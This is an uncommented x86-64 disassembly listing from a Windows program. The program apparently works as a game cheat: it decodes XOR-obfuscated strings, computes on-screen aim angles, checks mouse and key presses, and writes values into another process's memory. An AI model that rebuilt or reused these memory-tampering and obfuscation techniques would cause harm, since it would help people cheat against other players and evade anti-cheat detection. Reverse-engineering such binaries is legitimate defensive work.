xorps xmm7, xmmword [0x14016c630]
cvttss2si r9d, xmm7
cvttss2si r8d, xmm8
cvttss2si edx, dword [rbp + 0x18d0]
movss xmm0, dword [rbp + 0x17f4]
subss xmm0, xmm6
cvttss2si ecx, xmm0
mov eax, 1
mov dword [rsp + 0x28], eax
lea rax, [rbp + 0xd70]
mov qword [rsp + 0x20], rax
call fcn.1400bdeb0
cmp byte [0x140196fd9], 0
je 0x1400c2943
movaps xmm3, xmm10
movss xmm2, dword [0x14016bbd8]
movaps xmm1, xmm10
lea rcx, [rbp + 0x9c0]
call fcn.140076890
mov r8, rax
lea rdx, [rbp + 0x9d0]
lea rcx, [rbp + 0x1450]
call fcn.1400768f0
lea r8, [rbp + 0x1444]
lea rdx, [rbp + 0x9e0]
lea rcx, [rbp + 0x9d0]
call fcn.1400768f0
lea rdx, [rbp + 0x9f0]
mov rcx, rax
call fcn.140076960
movaps xmm2, xmm13
lea rdx, [rbp + 0x7f4]
lea rcx, [rbp + 0x9f0]
call fcn.140076930
mov r8, rax
lea rdx, [rbp + 0x800]
lea rcx, [rbp + 0x9d0]
call fcn.1400768b0
lea rcx, [rbp + 0x810]
call fcn.140076880
lea rdx, [rbp + 0x810]
lea rcx, [rbp + 0x800]
call fcn.14007d7d0
test al, al
je 0x1400c2943
lea rcx, [rbp + 0xcf8]
call fcn.140018f20
mov ebx, eax
movss xmm2, dword [rbp + 0x814]
movss xmm1, dword [rbp + 0x810]
lea rcx, [rbp + 0x4e0]
call fcn.140018e80
movss xmm6, dword [rax]
movss xmm7, dword [rax + 4]
movss xmm2, dword [rbp + 0x17f8]
movss xmm1, dword [rbp + 0x17f4]
lea rcx, [rbp + 0x4e8]
call fcn.140018e80
movaps xmm3, xmm11
mov r8d, ebx
movaps xmm0, xmm6
unpcklps xmm0, xmm7
movq rdx, xmm0
mov rcx, rax
call fcn.1400bde10
cmp byte [0x140196fc8], 0
je 0x1400c2c18
lea rcx, [rbp + 0x11a0]
call fcn.14006f0a0
cmp byte [rbp + 0x1199], 0
je 0x1400c2b79
lea rdx, [rbp + 0x6dd]
lea rcx, [rsp + 0x70]
call fcn.1400cde00
mov rbx, rax
movzx eax, byte [rax + 9]
test al, al
je 0x1400c2b7c
xor byte [rbx], 0x34
xor byte [rbx + 1], 0x35
xor byte [rbx + 2], 0x36
xor byte [rbx + 3], 0x37
xor byte [rbx + 4], 0x38
xor byte [rbx + 5], 0x39
xor byte [rbx + 6], 0x3a
xor byte [rbx + 7], 0x3b
xor byte [rbx + 8], 0x3c
xor al, 0x3d
mov byte [rbx + 9], al
jmp 0x1400c2b7c
lea rcx, [rbp + 0xf40]
call fcn.1400d39b0
cmp rax, 1
jbe 0x1400c29ec
mov r9, 0xffffffffffffffff
mov r8, r13
lea rdx, [rbp + 0x138]
lea rcx, [rbp + 0xf40]
call fcn.1400d38c0
nop
or r14d, 1
jmp 0x1400c2a03
lea rdx, [0x14014fc62]
lea rcx, [rbp + 0x770]
call fcn.14006f110
or r14d, 2
mov dword [rbp + 0xa8], r14d
mov rdx, rax
lea rcx, [rbp + 0x30]
call fcn.140073600
nop
test r14b, 2
je 0x1400c2a35
and r14d, 0xfffffffd
mov dword [rbp + 0xa8], r14d
lea rcx, [rbp + 0x770]
call fcn.14006f0b0
nop
test r14b, 1
je 0x1400c2a52
and r14d, 0xfffffffe
mov dword [rbp + 0xa8], r14d
lea rcx, [rbp + 0x138]
call fcn.14006f0b0
lea rcx, [rbp + 0x30]
call fcn.1400d39a0
test al, al
je 0x1400c2a6f
lea rdx, str.Unknown
lea rcx, [rbp + 0x30]
call fcn.14006f780
lea rcx, [rbp + 0x30]
cmp byte [0x140196fac], 0
je 0x1400c2ae4
call fcn.14006f0a0
mov rbx, rax
lea rdx, [rbp + 0x6d3]
lea rcx, [rsp + 0x6e]
call fcn.1400cddc0
movzx ecx, byte [rax + 9]
test cl, cl
je 0x1400c2ac6
xor byte [rax], 0x34
xor byte [rax + 1], 0x35
xor byte [rax + 2], 0x36
xor byte [rax + 3], 0x37
xor byte [rax + 4], 0x38
xor byte [rax + 5], 0x39
xor byte [rax + 6], 0x3a
xor byte [rax + 7], 0x3b
xor byte [rax + 8], 0x3c
xor cl, 0x3d
mov byte [rax + 9], cl
mov dword [rsp + 0x20], r15d
mov r9, rbx
mov r8, rax
mov edx, 0x100
lea rcx, [rbp + 0xfb0]
call fcn.140074ae0
jmp 0x1400c2b26
call fcn.14006f0a0
mov rbx, rax
lea rdx, [rbp + 0x50]
lea rcx, [rsp + 0x6f]
call fcn.1400cdde0
movzx ecx, byte [rax + 2]
test cl, cl
je 0x1400c2b0f
xor byte [rax], 0x34
xor byte [rax + 1], 0x35
xor cl, 0x36
mov byte [rax + 2], cl
mov r9, rbx
mov r8, rax
mov edx, 0x100
lea rcx, [rbp + 0xfb0]
call fcn.140074ae0
movups xmm0, xmmword [rbp + 0xf60]
movdqa xmmword [rbp], xmm0
cvttss2si r8d, dword [rbp + 0x9b4]
cvttss2si edx, dword [rbp + 0x9b0]
lea rax, [rbp + 0xfb0]
mov qword [rsp + 0x30], rax
mov byte [rsp + 0x28], 1
mov byte [rsp + 0x20], 1
lea r9, [rbp]
movaps xmm0, xmm12
movd ecx, xmm0
call fcn.140076b60
nop
lea rcx, [rbp + 0x30]
call fcn.14006f0b0
jmp 0x1400c1b40
mov rbx, rax
cmp byte [0x140196fd4], 0
je 0x1400c2bc9
lea rdx, [rbp + 0x6e7]
lea rcx, [rsp + 0x71]
call fcn.1400cddc0
movzx ecx, byte [rax + 9]
test cl, cl
je 0x1400c2bec
xor byte [rax], 0x34
xor byte [rax + 1], 0x35
xor byte [rax + 2], 0x36
xor byte [rax + 3], 0x37
xor byte [rax + 4], 0x38
xor byte [rax + 5], 0x39
xor byte [rax + 6], 0x3a
xor byte [rax + 7], 0x3b
xor byte [rax + 8], 0x3c
xor cl, 0x3d
mov byte [rax + 9], cl
jmp 0x1400c2bec
lea rdx, [rbp + 0x53]
lea rcx, [rsp + 0x72]
call fcn.1400cdde0
movzx ecx, byte [rax + 2]
test cl, cl
je 0x1400c2bec
xor byte [rax], 0x34
xor byte [rax + 1], 0x35
xor cl, 0x36
mov byte [rax + 2], cl
mov r9d, r13d
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0xfb0]
call fcn.1400395e0
movups xmm0, xmmword [rbp + 0xcf8]
movaps xmmword [rbp + 0xd80], xmm0
lea r9, [rbp + 0xd80]
jmp 0x1400c2c82
cmp byte [0x140196fd4], 0
je 0x1400c2cb6
lea rdx, [rbp + 0x166]
lea rcx, [rsp + 0x73]
call fcn.1400cdd90
movzx ecx, byte [rax + 6]
test cl, cl
je 0x1400c2c5b
xor byte [rax], 0x34
xor byte [rax + 1], 0x35
xor byte [rax + 2], 0x36
xor byte [rax + 3], 0x37
xor byte [rax + 4], 0x38
xor byte [rax + 5], 0x39
xor cl, 0x3a
mov byte [rax + 6], cl
mov r8d, r13d
mov rdx, rax
lea rcx, [rbp + 0xfb0]
call fcn.1400395e0
movups xmm0, xmmword [rbp + 0xcf8]
movaps xmmword [rbp + 0xd90], xmm0
lea r9, [rbp + 0xd90]
lea rax, [rbp + 0xfb0]
mov qword [rsp + 0x30], rax
mov byte [rsp + 0x28], 1
movaps xmm0, xmm12
mov byte [rsp + 0x20], 1
movd ecx, xmm0
cvttss2si r8d, dword [rbp + 0x17f8]
cvttss2si edx, dword [rbp + 0x17f4]
call fcn.140076b60
cmp byte [0x140196fde], 0
je 0x1400c2d10
lea rdx, [rbp + 0x11e0]
lea rcx, [rbp + 0xe8]
call fcn.140073dd0
movss xmm1, dword [rbp + 0x17f8]
subss xmm1, dword [0x14016bd64]
movss xmm0, dword [rbp + 0x17f4]
subss xmm0, dword [0x14016bd9c]
mov r9, rax
lea r8, [rbp + 0x1318]
lea rdx, [rbp + 0x1200]
unpcklps xmm0, xmm1
movq rcx, xmm0
call fcn.1400b7f30
cmp byte [0x140196fd1], 0
je 0x1400c2d74
lea rcx, [rbp + 0x11c0]
call fcn.14006f0a0
movups xmm0, xmmword [rbp + 0xcf8]
movaps xmmword [rbp + 0xda0], xmm0
movss xmm0, dword [rbp + 0x18d0]
addss xmm0, xmm14
cvttss2si r8d, xmm0
cvttss2si edx, dword [rbp + 0x17f4]
mov qword [rsp + 0x30], rax
mov byte [rsp + 0x28], 1
mov byte [rsp + 0x20], 1
lea r9, [rbp + 0xda0]
movss xmm0, dword [0x14016bd4c]
movd ecx, xmm0
call fcn.140076b60
cmp byte [0x140196fb2], 0
jne 0x1400c2d93
cmp byte [0x140196fad], 0
jne 0x1400c2d93
cmp byte [0x140196fdc], 0
je 0x1400c313d
cmp byte [rbp + 0x1534], 0
je 0x1400c313d
cmp byte [0x140196fce], 0
je 0x1400c2db6
cmp byte [rbp + 0x1198], 0
jne 0x1400c313d
movss xmm0, dword [rbp + 0x17f4]
movss dword [rbp + 0x4f0], xmm0
movss xmm1, dword [rbp + 0x17f8]
movss dword [rbp + 0x4f4], xmm1
mov eax, dword [0x140196f0c]
cdq
sub eax, edx
sar eax, 1
movd xmm1, eax
cvtdq2ps xmm1, xmm1
mov eax, dword [0x140196f08]
cdq
sub eax, edx
sar eax, 1
movd xmm0, eax
cvtdq2ps xmm0, xmm0
movss dword [rbp + 0x4f8], xmm0
movss dword [rbp + 0x4fc], xmm1
lea rdx, [rbp + 0x4f0]
lea rcx, [rbp + 0x4f8]
call fcn.14007d900
movaps xmm6, xmm0
cmp byte [0x140196fbe], 0
je 0x1400c2e58
movsd xmm1, qword [rbp + 0x17f4]
movsd qword [rbp + 0x820], xmm1
mov eax, dword [rbp + 0x17fc]
mov dword [rbp + 0x828], eax
lea rdx, [rbp + 0x820]
mov cl, 1
call fcn.1400b56d0
movaps xmm1, xmm0
jmp 0x1400c2e5c
movaps xmm1, xmm10
movd xmm0, dword [reloc.WLDAP32.dll_Ordinal_30]
cvtdq2ps xmm0, xmm0
comiss xmm0, xmm1
jbe 0x1400c313d
comiss xmm9, xmm6
jbe 0x1400c313d
movaps xmm9, xmm6
mov eax, dword [0x140197588]
test eax, eax
jne 0x1400c2e9b
movsd xmm0, qword [rbp + 0x1444]
mov eax, dword [rbp + 0x144c]
jmp 0x1400c2f46
cmp eax, 1
jne 0x1400c2ee7
movaps xmm3, xmm10
movss xmm2, dword [0x14016bc1c]
movaps xmm1, xmm10
lea rcx, [rbp + 0x830]
call fcn.140076890
mov r8, rax
lea rdx, [rbp + 0x83c]
lea rcx, [rbp + 0x145c]
call fcn.1400768f0
movsd xmm0, qword [rax]
movsd qword [rbp + 0x58], xmm0
mov eax, dword [rax + 8]
mov dword [rbp + 0x60], eax
mov eax, dword [0x140197588]
cmp eax, 2
jne 0x1400c2f33
movaps xmm3, xmm10
movss xmm2, dword [0x14016bc4c]
movaps xmm1, xmm10
lea rcx, [rbp + 0x848]
call fcn.140076890
mov r8, rax
lea rdx, [rbp + 0x854]
lea rcx, [rbp + 0x145c]
call fcn.1400768f0
movsd xmm0, qword [rax]
movsd qword [rbp + 0x58], xmm0
mov eax, dword [rax + 8]
mov dword [rbp + 0x60], eax
mov eax, dword [0x140197588]
cmp eax, 3
jne 0x1400c2f4e
movsd xmm0, qword [rbp + 0x1438]
mov eax, dword [rbp + 0x1440]
mov dword [rbp + 0x60], eax
movsd qword [rbp + 0x58], xmm0
movsd xmm0, qword [rbp + 0x1528]
movsd qword [rbp + 0x64], xmm0
mov eax, dword [rbp + 0x1530]
mov dword [rbp + 0x6c], eax
jmp 0x1400c313d
cmp byte [0x140196fe3], 0
je 0x1400c313d
movss xmm0, dword [0x1401975c8]
subss xmm0, dword [rbp + 0x1510]
movss xmm1, dword [0x1401975d0]
subss xmm1, dword [rbp + 0x1518]
call sub.api_ms_win_crt_math_l1_1_0.dll_atan2f
movaps xmm6, xmm0
mulss xmm6, dword [0x14016bdf0]
subss xmm6, dword [0x14016becc]
subss xmm6, dword [0x1401975bc]
mov eax, dword [0x140196f0c]
cdq
sub eax, edx
sar eax, 1
movd xmm1, eax
cvtdq2ps xmm1, xmm1
mov eax, dword [0x140196f08]
cdq
sub eax, edx
sar eax, 1
movd xmm3, eax
cvtdq2ps xmm3, xmm3
mov dword [rsp + 0x28], 0x64
movss dword [rsp + 0x20], xmm1
movaps xmm2, xmm14
movaps xmm1, xmm6
lea rcx, [rbp + 0x500]
call fcn.140076a60
mov eax, dword [0x140196f0c]
cdq
sub eax, edx
sar eax, 1
movd xmm0, eax
cvtdq2ps xmm0, xmm0
mov eax, dword [0x140196f08]
cdq
sub eax, edx
sar eax, 1
movd xmm3, eax
cvtdq2ps xmm3, xmm3
movaps xmm1, xmm6
addss xmm1, xmm13
mov dword [rsp + 0x28], 0x5a
movss dword [rsp + 0x20], xmm0
movaps xmm2, xmm14
lea rcx, [rbp + 0x508]
call fcn.140076a60
mov eax, dword [0x140196f0c]
cdq
sub eax, edx
sar eax, 1
movd xmm0, eax
cvtdq2ps xmm0, xmm0
mov eax, dword [0x140196f08]
cdq
sub eax, edx
sar eax, 1
movd xmm3, eax
cvtdq2ps xmm3, xmm3
subss xmm6, xmm13
mov dword [rsp + 0x28], 0x5a
movss dword [rsp + 0x20], xmm0
movaps xmm2, xmm14
movaps xmm1, xmm6
lea rcx, [rbp + 0x510]
call fcn.140076a60
call fcn.14001f460
mov r14, rax
lea rcx, [rbp + 0xcf8]
call fcn.140018f20
mov esi, eax
movss xmm2, dword [rbp + 0x514]
addss xmm2, xmm11
movss xmm1, dword [rbp + 0x510]
addss xmm1, xmm11
lea rcx, [rbp + 0x518]
call fcn.140018e80
mov rdi, rax
movss xmm2, dword [rbp + 0x50c]
addss xmm2, xmm11
movss xmm1, dword [rbp + 0x508]
addss xmm1, xmm11
lea rcx, [rbp + 0x520]
call fcn.140018e80
mov rbx, rax
movss xmm2, dword [rbp + 0x504]
addss xmm2, xmm11
movss xmm1, dword [rbp + 0x500]
addss xmm1, xmm11
lea rcx, [rbp + 0x528]
call fcn.140018e80
mov dword [rsp + 0x20], esi
mov r9, rdi
mov r8, rbx
mov rdx, rax
mov rcx, r14
call fcn.1400440c0
mov edi, dword [rsp + 0x64]
lea rsi, [0x140197598]
lea rcx, [rbp + 0x1540]
call fcn.1400b7d90
nop
lea rcx, [rbp + 0x1190]
call fcn.1400b7d90
inc edi
mov dword [rsp + 0x64], edi
mov ebx, edi
lea rcx, [rbp + 0x3d8]
call fcn.1400d2a90
mov rcx, rax
call fcn.1400d2280
cmp rbx, rax
jb 0x1400c1c31
movss xmm15, dword [0x14016bd58]
mov r13d, dword [rbp + 0xac]
xor r15d, r15d
cmp byte [0x140196fb2], 0
jne 0x1400c31ad
cmp byte [0x140196fad], 0
jne 0x1400c31ad
cmp byte [0x140196fdc], 0
je 0x1400c3565
lea rcx, [rbp + 0x860]
call fcn.140076880
lea rcx, [rbp + 0x58]
call fcn.140076a30
test al, al
jne 0x1400c3565
lea rdx, [rbp + 0x860]
lea rcx, [rbp + 0x58]
call fcn.14007d7d0
test al, al
je 0x1400c3565
movss xmm0, dword [rbp + 0x860]
movss xmm2, dword [0x14016c010]
comiss xmm0, xmm2
jbe 0x1400c322c
movss xmm1, dword [0x14016bc08]
comiss xmm1, xmm0
jbe 0x1400c322c
movss xmm0, dword [rbp + 0x864]
comiss xmm0, xmm2
jbe 0x1400c322c
comiss xmm1, xmm0
jbe 0x1400c322c
movss xmm0, dword [rbp + 0x868]
comiss xmm0, xmm2
jbe 0x1400c322c
comiss xmm1, xmm0
ja 0x1400c3565
movsd xmm8, qword [rbp + 0x58]
mov edi, dword [rbp + 0x60]
cmp byte [0x140196fbe], 0
je 0x1400c326d
movsd xmm0, qword [rbp + 0x860]
movsd qword [rbp + 0x870], xmm0
mov eax, dword [rbp + 0x868]
mov dword [rbp + 0x878], eax
lea rdx, [rbp + 0x870]
mov cl, 1
call fcn.1400b56d0
movaps xmm1, xmm0
jmp 0x1400c3271
movaps xmm1, xmm10
movd xmm0, dword [reloc.WLDAP32.dll_Ordinal_30]
cvtdq2ps xmm0, xmm0
comiss xmm0, xmm1
jbe 0x1400c3565
cmp byte [0x140196fdc], 0
je 0x1400c3324
lea rdx, [0x140195770]
lea rcx, [rbp + 0xdb0]
call fcn.1400395d0
mov rcx, rax
call fcn.140018f20
mov ebx, eax
movss xmm2, dword [rbp + 0x864]
movss xmm1, dword [rbp + 0x860]
lea rcx, [rbp + 0x530]
call fcn.140018e80
movss xmm6, dword [rax]
movss xmm7, dword [rax + 4]
movd xmm2, dword [0x140196f0c]
cvtdq2ps xmm2, xmm2
mulss xmm2, dword [0x14016bc4c]
movd xmm1, dword [0x140196f08]
cvtdq2ps xmm1, xmm1
mulss xmm1, dword [0x14016bc4c]
lea rcx, [rbp + 0x538]
call fcn.140018e80
movaps xmm3, xmm11
mov r8d, ebx
movaps xmm0, xmm6
unpcklps xmm0, xmm7
movq rdx, xmm0
lea rcx, [rbp + 0x538]
call fcn.1400bde10
cmp byte [0x140196fb2], 0
jne 0x1400c333a
cmp byte [0x140196fad], 0
je 0x1400c3565
mov ecx, dword [reloc.WS2_32.dll_getsockname]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
jne 0x1400c335f
mov ecx, 1
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
je 0x1400c3565
cmp byte [0x140196faf], 0
je 0x1400c33dd
lea rcx, [0x1401975c8]
cmp byte [0x140196dca], 0
cmove rcx, rsi
movsd qword [rbp + 0x880], xmm8
mov dword [rbp + 0x888], edi
movsd xmm0, qword [rbp + 0x64]
movsd qword [rbp + 0x890], xmm0
mov eax, dword [rbp + 0x6c]
mov dword [rbp + 0x898], eax
movsd xmm0, qword [rcx]
movsd qword [rbp + 0x8a0], xmm0
mov eax, dword [rcx + 8]
mov dword [rbp + 0x8a8], eax
lea r9, [rbp + 0x880]
lea r8, [rbp + 0x890]
lea rdx, [rbp + 0x8a0]
lea rcx, [rbp + 0x8b0]
call fcn.1400bc200
movsd xmm8, qword [rax]
mov edi, dword [rax + 8]
lea rax, [0x1401975c8]
cmp byte [0x140196dca], 0
cmove rax, rsi
movsd qword [rbp + 0x8c0], xmm8
mov dword [rbp + 0x8c8], edi
movsd xmm0, qword [rax]
movsd qword [rbp + 0x8d0], xmm0
mov eax, dword [rax + 8]
mov dword [rbp + 0x8d8], eax
lea r8, [rbp + 0x8c0]
lea rdx, [rbp + 0x8d0]
lea rcx, [rbp + 0x8e0]
call fcn.14007d980
lea rdx, [rbp + 0x8e0]
lea rcx, [rbp + 0x8e4]
call fcn.14007d940
movss xmm0, dword [rbp + 0x8e0]
call fcn.1400d5330
test al, al
je 0x1400c348e
movss xmm0, dword [rbp + 0x8e4]
call fcn.1400d5330
test al, al
jne 0x1400c3565
movss xmm0, dword [rbp + 0x8e0]
ucomiss xmm0, xmm10
jp 0x1400c347a
je 0x1400c3565
movss xmm0, dword [rbp + 0x8e4]
ucomiss xmm0, xmm10
jp 0x1400c348e
je 0x1400c3565
cmp byte [0x140196fb2], 0
je 0x1400c34e6
mov ecx, dword [reloc.WS2_32.dll_getsockname]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
je 0x1400c34e6
movss xmm0, dword [rbp + 0x8e0]
movss dword [rbp + 0x540], xmm0
movss xmm1, dword [rbp + 0x8e4]
movss dword [rbp + 0x544], xmm1
mov rdx, qword [0x140196f50]
add rdx, 0x44
lea r8, [rbp + 0x540]
mov rcx, qword [0x140196ee0]
call fcn.1400d5340
mov edi, 1
cmp byte [0x140196fad], 0
je 0x1400c356a
mov ecx, edi
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
je 0x1400c356a
movaps xmm3, xmm10
movss xmm2, dword [rbp + 0x8e4]
movss xmm1, dword [rbp + 0x8e0]
lea rcx, [rbp + 0x8f0]
call fcn.140076890
movsd xmm0, qword [rax]
movsd qword [rbp + 0x900], xmm0
mov eax, dword [rax + 8]
mov dword [rbp + 0x908], eax
lea rdx, [rbp + 0x900]
lea rcx, [rbp + 0xdc0]
call fcn.14007da70
mov rdx, qword [0x140196f80]
add rdx, 0x50
mov r8, rax
mov rcx, qword [0x140196ee0]
call fcn.1400d5120
jmp 0x1400c356a
mov edi, 1
cmp byte [0x140196fc7], 0
je 0x1400c3613
cmp byte [0x140196dca], 0
je 0x1400c35ef
mov ecx, edi
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
je 0x1400c35ef
mov byte [rsp + 0x60], 1
mov rdx, qword [0x140196f98]
add rdx, 0x343
lea r8, [rsp + 0x60]
mov rcx, qword [0x140196ee0]
call fcn.1400d50b0
mov byte [rsp + 0x74], 0
mov rdx, qword [0x140196f98]
add rdx, 0x3a8
lea r8, [rsp + 0x74]
mov rcx, qword [0x140196ee0]
call fcn.1400d50b0
mov byte [rsp + 0x60], 1
mov rdx, qword [0x140196f98]
add rdx, 0x3a8
lea r8, [rsp + 0x60]
jmp 0x1400c3607
mov byte [rsp + 0x75], 0
mov rdx, qword [0x140196f98]
add rdx, 0x343
lea r8, [rsp + 0x75]
mov rcx, qword [0x140196ee0]
call fcn.1400d50b0
cmp byte [0x140196fd8], 0
je 0x1400c371e
mov rdx, qword [0x140196f98]
add rdx, 0x388
mov rcx, qword [0x140196ee0]
call fcn.1400d4990
test eax, eax
je 0x1400c370d
cmp dword [reloc.WS2_32.dll_htons], 0
jne 0x1400c3683
lea rcx, [rbp + 0x548]
call fcn.140074cb0
lea rdx, [rbp + 0x550]
mov rcx, rax
call fcn.1400d3770
mov rdx, rax
lea rcx, [rbp + 0x558]
call fcn.1400d5080
mov rcx, rax
call fcn.1400d2a90
mov dword [reloc.WS2_32.dll_htons], eax
mov rdx, qword [0x140196f98]
add rdx, 0x2e8
mov rcx, qword [0x140196ee0]
call fcn.1400d53b0
movaps xmm6, xmm0
mulss xmm6, dword [0x14016bfd0]
movss dword [0x140196ed8], xmm6
lea rcx, [rbp + 0x560]
call fcn.140074cb0
lea rdx, [rbp + 0x568]
mov rcx, rax
call fcn.1400d3770
mov rdx, rax
lea rcx, [rbp + 0x570]
call fcn.1400d5080
mov rcx, rax
call fcn.1400d2a90
movd xmm0, dword [reloc.WS2_32.dll_htons]
cvtdq2ps xmm0, xmm0
addss xmm0, xmm6
cvttss2si ecx, xmm0
movsxd rdx, ecx
sub rdx, rax
xorps xmm0, xmm0
cvtsi2ss xmm0, rdx
movss dword [0x140196e54], xmm0
jmp 0x1400c371e
mov dword [reloc.WS2_32.dll_htons], r15d
mov dword [0x140196ed8], 0
mov rdx, qword [0x140196ff8]
add rdx, 0xbf0
mov rcx, qword [0x140196ee0]
call fcn.1400d4850
mov qword [0x140196ff0], rax
cmp byte [0x140196fe7], 0
je 0x1400c3793
mov dword [rsp + 0x64], 0
lea rdx, [rax + 0xcc]
lea r8, [rsp + 0x64]
mov rcx, qword [0x140196ee0]
call fcn.1400d4ec0
mov dword [rbp + 0xb0], 0
mov rdx, qword [0x140196ff0]
add rdx, 0xd4
lea r8, [rbp + 0xb0]
mov rcx, qword [0x140196ee0]
call fcn.1400d4ec0
cmp byte [0x140196fcb], 0
je 0x1400c3844
mov ecx, dword [0x1401811a0]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
mov rdx, qword [0x140196ff0]
mov rcx, qword [0x140196ee0]
add rdx, 0x70
test ax, ax
je 0x1400c37e8
mov dword [rsp + 0x64], 0xc2c80000
lea r8, [rsp + 0x64]
call fcn.1400d4ec0
mov dword [rbp + 0xb4], 0xc2c80000
lea r8, [rbp + 0xb4]
jmp 0x1400c382d
call fcn.1400d53b0
ucomiss xmm0, dword [0x14016bcd8]
jp 0x1400c37f8
je 0x1400c3844
mov dword [rsp + 0x64], 0x3fe51eb8
mov rdx, qword [0x140196ff0]
add rdx, 0x70
lea r8, [rsp + 0x64]
mov rcx, qword [0x140196ee0]
call fcn.1400d4ec0
mov dword [rbp + 0xb8], 0x3f6624dd
lea r8, [rbp + 0xb8]
mov rdx, qword [0x140196ff0]
add rdx, 0x74
mov rcx, qword [0x140196ee0]
call fcn.1400d4ec0
cmp byte [0x140196fbd], 0
je 0x1400c39ff
mov rdx, qword [0x140196ff0]
add rdx, 0x150
mov rcx, qword [0x140196ee0]
call fcn.1400d4a10
movzx ebx, al
mov rcx, rsi
call fcn.140076a30
test al, al
jne 0x1400cdbb9
test bl, bl
jne 0x1400c3939
lea rcx, [0x140197570]
call fcn.140076a30
movss xmm0, dword [0x140197598]
test al, al
je 0x1400c38cb
movss dword [0x140197570], xmm0
movss xmm1, dword [0x14019759c]
movss dword [0x140197574], xmm1
movss xmm0, dword [0x1401975a0]
movss dword [0x140197578], xmm0
jmp 0x1400c399f
movss xmm6, dword [0x14019759c]
subss xmm6, dword [0x140197574]
movss dword [rbp + 0x578], xmm0
movss xmm1, dword [0x1401975a0]
movss dword [rbp + 0x57c], xmm1
movss xmm0, dword [0x140197578]
movss xmm1, dword [0x140197570]
unpcklps xmm1, xmm0
movq rdx, xmm1
lea rcx, [rbp + 0x578]
call fcn.140076840
mulss xmm6, dword [0x14016bd90]
movss dword [0x140196e7c], xmm6
mulss xmm0, dword [0x14016bd90]
movss dword [0x140196efc], xmm0
jmp 0x1400c399f
mov rdx, qword [0x140196ff0]
add rdx, 0xd4
mov rcx, qword [0x140196ee0]
call fcn.1400d53b0
ucomiss xmm0, dword [0x14016bbd0]
jp 0x1400c395e
je 0x1400c399f
movaps xmm3, xmm10
movaps xmm2, xmm10
movaps xmm1, xmm10
lea rcx, [rbp + 0x910]
call fcn.140076890
movsd xmm0, qword [rax]
movsd qword [0x140197570], xmm0
mov eax, dword [rax + 8]
mov dword [0x140197578], eax
mov dword [0x140196e7c], 0
mov dword [0x140196efc], 0
mov dword [rsp + 0x64], 0x437f0000
mov dword [rbp + 0x30], 0
lea r8, [rsp + 0x64]
lea rdx, [rbp + 0x30]
lea rcx, [0x140196e7c]
call fcn.1400d5420
movss xmm0, dword [rax]
movss dword [0x140196e7c], xmm0
mov dword [rbp + 0x30], 0x437f0000
mov dword [rsp + 0x64], 0
lea r8, [rbp + 0x30]
lea rdx, [rsp + 0x64]
lea rcx, [0x140196efc]
call fcn.1400d5420
movss xmm0, dword [rax]
movss dword [0x140196efc], xmm0
lea rcx, [rbp + 0x3d8]
call fcn.1400d2b20
nop
lea rcx, [rbp + 0x3b0]
call fcn.1400d2aa0
movss xmm9, dword [0x14016bd64]
mov r12d, dword [reloc.WS2_32.dll_accept]
call fcn.140029df0
mov ecx, reloc.WLDAP32.dll_Ordinal_45
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test al, 1
je 0x1400c3a4e
cmp byte [reloc.WS2_32.dll_accept], 0
sete al
mov byte [reloc.WS2_32.dll_accept], al
jmp 0x1400c3a55
movzx eax, byte [reloc.WS2_32.dll_accept]
test al, al
je 0x1400cdb34
movss xmm7, dword [0x14016bf98]
movaps xmm2, xmm7
movss xmm8, dword [0x14016bfc4]
movaps xmm1, xmm8
lea rcx, [rbp + 0x580]
call fcn.140018e80
mov rcx, rax
xor edx, edx
call fcn.14002a3c0
movss dword [rsp + 0x20], xmm11
movss xmm0, dword [0x14016bbe8]
movaps xmm3, xmm0
movaps xmm2, xmm0
movaps xmm1, xmm0
lea rcx, [rbp + 0xdd0]
call fcn.140018ea0
movups xmm6, xmmword [rax]
call fcn.14001c080
movups xmmword [rax + 0x118], xmm6
lea rdx, [rbp + 0xad8]
lea rcx, [rsp + 0x76]
call fcn.1400cde20
mov r10, rax
cmp byte [rax + 0xd], 0
je 0x1400c3c30
mov r8d, r15d
cmp r12d, 2
jl 0x1400c3bf9
movdqa xmm4, xmmword [0x14016c610]
mov eax, 4
movd xmm5, eax
mov eax, Ordinal_35
movd xmm6, eax
movdqa xmm2, xmmword [0x14016c130]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14016c160]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
mov eax, dword [0x14016c1e0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10]
pxor xmm2, xmm0
movd dword [r10], xmm2
movdqa xmm3, xmmword [0x14016c150]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14016c160]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10 + 4]
pxor xmm2, xmm0
movd dword [r10 + 4], xmm2
mov r8d, 8
mov r9d, r8d
add r9, r10
nop
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x1400c3c00
xor edx, edx
